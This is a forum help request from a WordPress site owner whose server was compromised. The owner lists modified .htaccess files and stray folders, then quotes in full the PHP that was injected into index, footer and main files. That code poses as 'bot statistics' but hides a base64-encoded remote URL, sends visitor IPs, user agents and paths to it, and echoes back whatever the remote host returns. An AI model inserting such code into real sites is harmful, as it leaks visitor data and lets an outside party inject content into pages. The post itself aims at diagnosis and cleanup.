Hi to all.
I hope that this thread is into correct section, else, please move it to the right way.
Recently i've encountered a several security problems on my wordpress website.
All was started while a lot of spam was sended from my server (Contact Form 7 3.0 Exploit? also though Really simple captcha is installed!)
Looking into ftp i've found these issues:
All .htaccess files were modified by insert some allow code into these.
There was created more folders randomly named, and was found into wp-content directory.
All .php files named like "index", "footer", and "main" was modified and into them i've found this php code:
<?php
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL3JlYm90c3RhdC5jb20vYm90c3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
?>
So, i'm sure that there aren't any plugins that could be the cause.
I'm sure also that all files and folders permits are correctly setted.
I don't know if these problem maybe caused by my Hosting security issue, or by a missing .htaccess configuration.
Can I lock in anyway, external access in order to fix the above issues?
Thanks a lot and sorry for my english!